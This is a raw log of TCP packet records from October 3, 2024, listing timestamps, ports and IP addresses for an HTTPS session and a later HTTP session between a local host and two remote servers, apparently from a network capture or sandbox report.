Oct 3, 2024 18:10:40.377278090 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.377576113 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.377635002 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.377949953 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.379890919 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.380140066 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.380208015 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.380362988 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.382404089 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.382675886 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.382735014 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.383011103 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.384896040 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.385112047 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.385164022 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.385446072 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.387420893 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.387618065 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.387669086 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.387888908 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.387928963 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.388164997 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.389833927 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.390147924 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.390204906 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.390510082 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.392127991 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.392441034 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.392498970 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.392817020 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.394704103 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.394923925 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.394973993 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.395186901 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.396878004 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.397172928 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.397233963 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.397510052 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.399122000 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.399362087 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.400345087 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.400559902 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.400613070 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.400854111 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.402770996 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.403037071 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.403096914 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.403384924 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.405004025 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.405685902 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.405745029 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.406024933 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.407272100 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.407480955 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.407532930 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.407788038 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.409487009 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.409878016 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.409935951 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.410221100 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.411720037 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.411928892 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.411983013 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.412225008 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.413885117 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.414096117 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.414149046 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.414335966 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.415944099 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.416361094 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.416419029 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.416698933 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.418158054 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.418356895 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.418407917 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.418934107 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.418999910 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.419346094 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.420344114 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.420604944 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.420653105 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.420917034 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.422234058 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.422472954 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.422513962 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.422879934 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.424356937 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.424606085 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.424664021 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.424954891 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.426428080 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.426666975 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.427418947 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.427664995 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.427722931 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.427967072 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.429425955 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.429629087 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.429675102 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.429946899 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.431370020 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.431581974 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.431628942 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.431878090 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.433417082 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.433628082 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.433676958 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.433918953 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.435530901 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.435738087 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.435785055 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.436027050 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.437335968 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.437552929 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.437611103 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.437778950 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.439261913 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.439479113 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.439534903 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.439703941 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.441359043 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.441818953 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.441886902 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.442136049 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.443135977 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.443335056 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.443388939 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.443661928 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.443722963 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.444050074 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.444947958 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.445120096 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.445235968 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.445528984 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.446862936 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.447063923 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.447110891 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.447388887 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.448817015 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.448991060 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.449034929 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.449292898 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.450377941 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.450597048 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.451288939 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.451488018 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.451543093 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.451787949 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.453259945 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.453466892 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.453516006 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.453799963 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.454997063 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.455300093 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.455358982 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.455605984 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.456918955 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.457089901 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.457137108 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.457518101 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.458597898 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.458806992 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.458854914 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.459098101 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.460443020 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.460649014 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.460696936 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.460985899 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.462065935 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.462277889 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.462327957 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.462565899 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.463568926 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.463784933 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.463833094 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.464163065 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.465399027 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.465603113 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.465657949 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.465936899 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.466785908 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.466957092 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.467036009 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.467345953 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.467408895 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.467576981 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.468422890 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.468625069 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.468678951 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.468894958 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.469882965 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.470174074 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.470240116 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.470499992 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.471374035 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.471652985 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.472259045 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.472475052 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.472528934 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.472858906 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.473875999 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.474078894 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.474133968 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.474406004 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.475239992 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.475440025 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.475495100 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.475739002 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.476804018 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.477102995 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.477169991 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.477461100 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.478163004 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.478377104 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.478424072 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.478702068 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.479691982 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.479918003 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.479967117 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.480124950 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.481147051 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.481359005 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.481406927 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.481729984 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.482522964 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.482727051 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.482775927 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.483014107 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.483908892 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.484168053 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.484236002 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.484386921 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.485375881 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.485588074 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.485636950 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.485790014 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.486749887 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.486954927 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.487003088 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.487159014 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.488133907 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.488331079 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.488375902 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.488550901 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.489515066 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.489718914 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.489765882 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.490046978 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.490761042 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.490963936 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.491007090 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.491241932 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.492166996 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.492384911 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.492433071 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.492671013 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.493529081 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.493807077 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.493855000 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.494151115 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.494729042 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.494925022 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.494965076 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.495151997 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.496049881 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.496243954 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.496284962 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.496529102 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.497446060 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.497662067 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.497711897 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.497951031 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.498753071 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.498965979 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.499015093 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.499167919 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.500000000 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.500416040 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.500473976 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.500713110 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.501138926 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.501336098 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.501379013 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.501616955 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.502250910 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.502496004 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.502528906 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.502650976 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.502718925 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.502764940 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:10:40.502793074 CEST	443	49723	142.250.176.193	192.168.11.20
Oct 3, 2024 18:10:40.502862930 CEST	49723	443	192.168.11.20	142.250.176.193
Oct 3, 2024 18:11:24.401165009 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:24.581357002 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.581609011 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:24.587639093 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:24.767743111 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.795361996 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.795458078 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.795536041 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.795593977 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.795650005 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.795710087 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.795766115 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.795825005 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.795845985 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:24.795845985 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:24.795886040 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.795936108 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:24.795950890 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.796039104 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:24.796169043 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:24.976135015 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.976385117 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.976475954 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.976555109 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.976613998 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.976672888 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.976706028 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:24.976748943 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.976783991 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:24.976820946 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.976893902 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.976952076 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.976963043 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:24.977009058 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.977016926 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:24.977077007 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.977132082 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.977169991 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:24.977193117 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.977238894 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:24.977257013 CEST	80	49725	5.39.10.93	192.168.11.20
